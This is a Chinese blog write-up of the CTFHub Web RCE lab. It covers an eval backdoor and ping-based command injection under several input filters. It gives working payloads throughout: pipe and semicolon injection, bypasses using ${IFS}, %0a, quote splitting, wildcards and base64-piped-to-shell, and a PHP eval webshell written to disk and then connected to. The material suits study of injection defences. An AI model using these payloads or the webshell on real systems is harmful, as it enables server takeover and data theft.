CTFHub-Web-RCE练习

最新推荐文章于 2024-01-28 22:17:37 发布
最新推荐文章于 2024-01-28 22:17:37 发布
阅读量658 收藏 8
点赞数 2
分类专栏： CTF CTFHub 文章标签： linux php 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46150940/article/details/110044575
版权
CTF 同时被 2 个专栏收录
39 篇文章 12 订阅
订阅专栏
CTFHub
8 篇文章 1 订阅
订阅专栏

什么是RCE

RCE英文全称：remote command/code execute
分为远程命令执行和远程代码执行

远程命令执行直接调用操作系统命令ping
远程代码执行靠执行代码调用操作系统命令eval

管道符

Windows管道符

管道符描述
|直接执行后面的语句。
||如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。
&两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可
&&如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

Linux的管道符

管道符描述
;执行完前面的语句再执行后面的语句。
|显示后面语句的执行结果。
||当前面的语句执行出错时，执行后面的语句。
&两条命令都执行，如果前面的语句为假则执行执行后面的语句，前面的语句可真可假。
&&如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

绕过方法

1.拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

2.编码

echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|sh
echo "Y2F0IGZsYWc="|base64 -d|bash

3.单引号，双引号

ca''t flag
ca""t flag

4.反斜杠

c\at fl\ag

5.Shell 特殊变量

ca$@t flag
ca$1t flag

6.通配符绕过

常用的通配符

* 				#匹配任意长度字符
? 				#匹配任意单个字符
[list] 			#匹配指定范围(list)内的任意字符，也可以是单个字符组成的集合
[^list] 		#匹配指定范围外的任意单个字符或字符集合
[!list]  		#[^list]
{str1,str2}		#匹配str1或者str2

例如：

cat${IFS}fl*
cat fl[a-z]?
cat fla* 
cat${IFS}fl*

相关命令执行变量

PHP代码执行变量：

eval函数、
preg_replace、
create_function函数、
array_map、
call_user_func、
assert、
call_user_func_array、
array_filter、
uasor

PHP代码命令执行变量：

popen、
proc_popen、
passthru、
system变量、
exec变量、
shell_exec、
pcntl_exec。

CTFHub-Web-RCE练习

eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

查看根目录文件

Payload: ?cmd=system("ls");

在这里插入图片描述

查看下一级目录,发现flag_23816文件

Payload: ?cmd=system("ls /");

在这里插入图片描述

使用cat命令读取文件,找到flag

Payload: ?cmd=system("cat /flag_23816");

在这里插入图片描述

https://blog.csdn.net/Xxy605/article/details/107548841?utm_medium=distribute.pc_relevant_t0.none-task-blog-OPENSEARCH-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-OPENSEARCH-1.control

命令注入-无过滤

这是一个在线测试网络延迟的平台，路由器中经常会见到。无任何安全措施，尝试获取 flag

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

ping一下127.0.0.1
在这里插入图片描述

Payload: ?ip=|ls

发现了25900911724350.php
在这里插入图片描述
使用cat读取文件

?ip=|cat 25900911724350.php

无回显，可能存在字符编码无法显示出来
在这里插入图片描述
查看网页源代码
在这里插入图片描述
还可以利用管道符，通过base64的形式显示文件内容

?ip=|cat 25900911724350.php|base64

在这里插入图片描述
base64解码，得到flag
在这里插入图片描述

还可以写码

?ip=;echo -e "<?php @eval($_POST['shell']);?>" > a.php

执行?ip=;ls，发现写入成功
在这里插入图片描述

蚁剑连接，数据返回为空
在这里插入图片描述
需要注意echo命令会调用$_POST导致原始文件中没有,一句话木马里面 $_POST 前加上 \

?ip=;echo -e "<?php @eval(\$_POST['shell']);?>" > b.php

b.php写入成功
在这里插入图片描述
蚁剑连接成功
在这里插入图片描述

命令注入-过滤cat

题目描述：过滤了cat命令之后，你还有什么方法能读到 Flag?

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

执行

Payload: ?ip=|ls

发现了flag_22422157929595.php
在这里插入图片描述

题目说过滤了cat，绕过cat

  1. 单引号或双引号绕过
?ip=|ca''t flag_22422157929595.php
?ip=|ca""t  flag_22422157929595.php
  1. 反斜杠绕过
?ip=|ca\t  flag_22422157929595.php
  1. 利用Shell 特殊变量绕过
?ip=|ca$@t  flag_22422157929595.php
?ip=|ca$1t  flag_22422157929595.php
  1. linux中直接查看文件内容的命令
cat、tac、more、less、head、tail、file -f、nl、sed p、sort、uniq、cut -f 1

cat： 由第一行开始显示档案内容
tac： 从最后一行开始显示，可以看出 tac 是 cat 的反向显示！
nl： 显示的时候，随便输出行号！
more： 一页一页的显示档案内容
less 与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页！
head： 查看头几行
tail： 查看尾几行
od： 以二进制的方式读取档案内容！
最常使用的显示档案内容的指令可以说是 cat ，more 及 less 了！

其他例子
root@04c1b5721098:/# file --f flag.txt
flag{glzjin_wants_a_girl_friend}: ERROR: cannot open `flag{glzjin_wants_a_girl_friend}' (No such file or directory)

root@04c1b5721098:/# sed  p flag.txt
flag{glzjin_wants_a_girl_friend}
flag{glzjin_wants_a_girl_friend}

root@04c1b5721098:/# diff --from-file flag.txt flag
1c1
< flag{glzjin_wants_a_girl_friend}
---
> 
root@04c1b5721098:/# cut -f 1 flag.txt
flag{glzjin_wants_a_girl_friend}

root@04c1b5721098:/# base64 flag.txt
ZmxhZ3tnbHpqaW5fd2FudHNfYV9naXJsX2ZyaWVuZH0K

cat被过滤了，可以使用其他命令，花式Payload

?ip=|tac flag_22422157929595.php
?ip=|more flag_22422157929595.php
?ip=|less flag_22422157929595.php
?ip=|head flag_22422157929595.php
?ip=|tail flag_22422157929595.php
?ip=|file -f flag_22422157929595.php
?ip=|nl flag_22422157929595.php
?ip=|sed flag_22422157929595.php
?ip=|sort flag_22422157929595.php
?ip=|uniq flag_22422157929595.php

命令注入-过滤空格

题目描述：这次过滤了空格，你能绕过吗

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

先查询目录结构

Payload:?ip=|ls

在这里插入图片描述
查看flag文件内容

Payload:?ip=|cat flag_177172732728132.php

在这里插入图片描述

空格被过滤了，用以下字符代替空格：

 < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS

新的Payload

?ip=|cat${IFS}flag_177172732728132.php

查看源代码即可得到flag

命令注入-过滤目录分隔符

题目描述：这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

老规矩

Payload:?ip=|ls

在这里插入图片描述
一些命令分隔符

linux中：%0a 、%0d 、; 、& 、| 、&&、||
windows中：%0a、&、|、%1a（一个神奇的角色，作为.bat文件中的命令分隔符）

由于过滤了目录分隔符 / ，需要切换到相应目录，并使用 ; 分隔符连续执行指令

?ip=;cd flag_is_here;ls

cd 进入flag_is_here目录，ls 显示flag_is_here目录里的内容。
在这里插入图片描述
查看flag文件内容

Payload: ?ip=;cd flag_is_here;cat flag_3708221509571.php

查看源代码，拿到flag
在这里插入图片描述

命令注入-过滤运算符

题目描述：过滤了几个运算符, 要怎么绕过呢

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

从代码中，可以看出过滤了 | 与 &运算符 ，那我们就使用 ; 分隔符绕过

Payload:?ip=;ls

在这里插入图片描述
查看文件内容

?ip=;cat flag_64982941521735.php

查看源代码
在这里插入图片描述

综合过滤练习

题目描述：同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

审计代码，发现过滤了|、&、;、空格、/、cat，以及flag和ctfhub等关键字

1.查看目录结构：
源命令：|ls
#%0a代替运算符|
Payload:?ip=%0als

2.查看flag_is_here文件夹下的文件
源命令：;cd flag_is_here;ls
#%0a绕过运算符和;
#${IFS}代替空格
#flag被过滤了，使用通配符*绕过
Payload:?ip=%0acd${IFS}*_is_here%0als

3.查看flag文件内容
源命令：?ip=;cd flag_is_here;cat flag_216371105627974.php
#使用more代替cat
Payload:?ip=%0acd${IFS}*_is_here%0amore%09*_216371105627974.php
Atkxor
关注
  • 2
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
CTF-网络挑战
03-02
本项目只是对历届CTF开源的网站 申明 由于本人重新向出题人申请重新对过渡进行修改发布的权利，但对每个题均标明了出处，如涉嫌犯罪，立马致歉删除。 对于部分没找到flag的翻译，会自己随便添加 对已提供Dockerfile...
ctf php审计从题目中的过滤学习绕过
eliforsharon的博客
10-10 1351
目录基本介绍空格过滤 基本介绍 在进行ping命令执行时，能够通过截断来执行新的命令。 根据此原理来进行注入。 例子如下 ip=127.0.0.1;ls 空格过滤 考虑在进行命令注入时，过滤了空格，可以采用${IFS}、$IFS、$IFS$9的局部变量来表示分隔符，但考虑$IFS直接接字母时可能会被解析成其他变量，所以采用${IFS}固定变量，或者$IFS$9采用$9这个空字符来与后面字母分隔开来固定变量 ...
Linux文件系统--文件类型
Ucan_Uup的博客
09-08 976
Linux中一切都是文件，文件类型有多种，使用ls -l命令可以查看文件属性，所显示结果的第一列的第一个字符用来表示文件类型，如下： 1.普通文件 第一列第一个字符为“-”的文件为普通文件。 创建普通文件我们用：touch newfile 命令 删除普通文件我们用：rm newfile 命令 2.目录文件 第一列第一个字符为“d”（directory）的文件为目录文件。 创建目录文件我们用：mkdir directory 命令 删除空目录文件我们用：rmdir directory 命令 删除非空目录文件
CTFHub技能书解题笔记-RCE-过滤空格、过滤目录分隔符、过滤运算符
qq_43006864的博客
04-01 3905
一、过滤空格 过滤了空格。 引入绕过空格过滤的字符：< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 直接开始解题 这里就用<来绕过。flag还是再界面源码。 二、过滤目录分隔符 题目提示，这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗。 这里的话就更简单了，我们可以使用;和cd到目录然后使用cat抓取。也就是用；进行命令拼接。例如：x.x.x.x;cd ../;ls;cat xxx
CTFHUB-RCE漏洞总结（三）
qq_49422880的博客
05-19 447
CTFHUB-RCE漏洞总结（三） CTFHUB-RCE漏洞总结（三）一、过滤目录分割符二、过滤运算符三、综合测试 链接: CTFHUB-RCE漏洞总结（二）. 一、过滤目录分割符   这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗?那必须能呀。。。 开始不得探探水，看看是什么情况，然后按照正常的方法试了一试发现有古怪，实现不了，然后喵了一眼大佬的WP，懂了直接，这就相当于直接过滤掉/目录，不能一步步打开，然后我们需要一次性读出来。 125.12.0.2;cd flag_is_h
ctfhub(rce智慧树)
qq_62046696的博客
07-21 556
刚看完rce知识点做一下题，巩固一下、
x微E-Cology WorkflowServiceXml RCE1
08-03
x微E-Cology WorkflowServiceXml RCEx 微 E-Cology WorkflowServiceXml RCEx 微 E-Cology
CVE-2021-34473 Exchange RCE.MD
04-23
CVE-2021-34473 Exchange RCE
CVE-2021-26855 Exchange RCE.MD
04-23
CVE-2021-26855 Exchange RCE
rce-website:RCE网站
05-09
RCE网站RCE的主页（登录页面）和公告（ ）。 基于和修改的Polar主题。本地安装安装Python3（ 完美运行） 安装Pelican和支持库pip install invoke==1.4.1pip install pelican==3.7.1pip install markdown==3.1.1如果...
CTFHub-web详解
shayebudon的博客
11-20 3457
信息泄露 目录遍历 遍历每一个文件夹，找到flag.txt，复制内容提交 PHPINFO 打开页面，从信息中寻找flag。 备份文件下载 网站源码 尝试各种组合，最后发现在网站后添加www.zip后成功下载压缩文件 将解压后的文件名放在url后，即可出现flag bak文件 下载index.php.bak打开即可看到flag vim缓存 当开发人员在线上环境中使用 vim 编辑器，在使用过程中会留下 vim 编辑器缓存，当vim异常退出时，缓存...
CTFHub 技能树 综合过滤
weixin_44732566的博客
03-08 1743
CTFHub 技能书 综合过滤 打开题目，源码已经出现了 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/"...
ctfhub技能树web题目全解
san3144393495的博客
10-31 242
这里php://inout可以把post提交的数据当作php代码执行，但是这个要看phpinfp配置文件有没有开启，就打开下面的phpinfo。ftp://192.168.64.144:21 探针对方ftp是否开放，这个是跟设置有关的的，有的直接访问c盘，或者别的，还有要登陆的。Ssrf漏洞就是可以看到内网的信息，需要用到一些伪协议http://192.168.64.144/phpmyadmin/重点是这个代码，strpos，格式是这样的strpoc（1，2，3）file=php://input。
CTFHUB WEB RCE
wwwwyyyrre的博客
05-13 275
先来了解一下rce命令RCE英文全称：remote command/code execute分为远程命令执行ping和远程代码执行evel。漏洞出现的原因：没有在输入口做输入处理。我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。其实这就是一个接口，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统，这就是RCE漏洞。
CTFshow web53 web54
ChenD的学习笔记
11-10 568
CTFshow web53 web54
ctfhub—RCE通关
最新发布
01-28 1052
ctfhub—RCE通关记录：命令注入、过滤cat、过滤空格、过滤目录分隔符、过滤运算符、综合过滤练习。
江苏工匠杯-unseping&序列化，正则绕过(全网最简单的wp)
cike_y
12-02 3995
in_array， 检查数组中是否存在某个值，如果method的变量为"ping",那么将执行下一行call_user_func_array()—调用回调函数(把一个数组参数作为回调函数的参数，第二个数组为被传入的索引数组)，也就是说method为ping时，那么它的索引数组就是args变量，同时传入args变量也必须是数组才能执行语句。看到网上和官方wp解法极为复杂，其实要八进制编码等等，仔细思考方法不止一种呢，此篇是我刷php反序列化笔记，有什么不懂的可以私信我，或者留言，看到的我都会认真回复。
CTFhub RCE 命令注入部分
qq_41497476的博客
07-01 1244
这种题其实已经比较熟悉了，使用 |，&&，；等分隔符对前面ping的内容进行隔断，然后执行自己的命令 任意值;ls 发现了除了目录下除了index.php外还有另一个php文件 输入 127.0.0.0;cat 21701615624125.php 发现确实多了个反馈的参数，但是看不到值，很疑惑后面知道了，这是因为cat命令反馈的值无法直接显示 这时有两个方法，一是直接查看源码 源码里是能看到的 第二个方法是直接把命令改为 127.0.0.1;cat 27712282015742.php.
命令注入————ctfhub（过滤cat、空格、目录分隔符、运算符、综合过滤练习）
qq_45655564的博客
05-30 8713
CTFHub 命令注入-过滤cat <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $r
ctfhub rce
09-01
你想了解关于 CTFHub 的 RCE（远程命令执行）相关内容吗？CTFHub 是一个针对CTF（Capture The Flag）竞赛的学习平台，而RCE是一种常见的漏洞类型之一。在CTFHub上，你可以学习如何发现和利用RCE漏洞来获取系统权限。...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值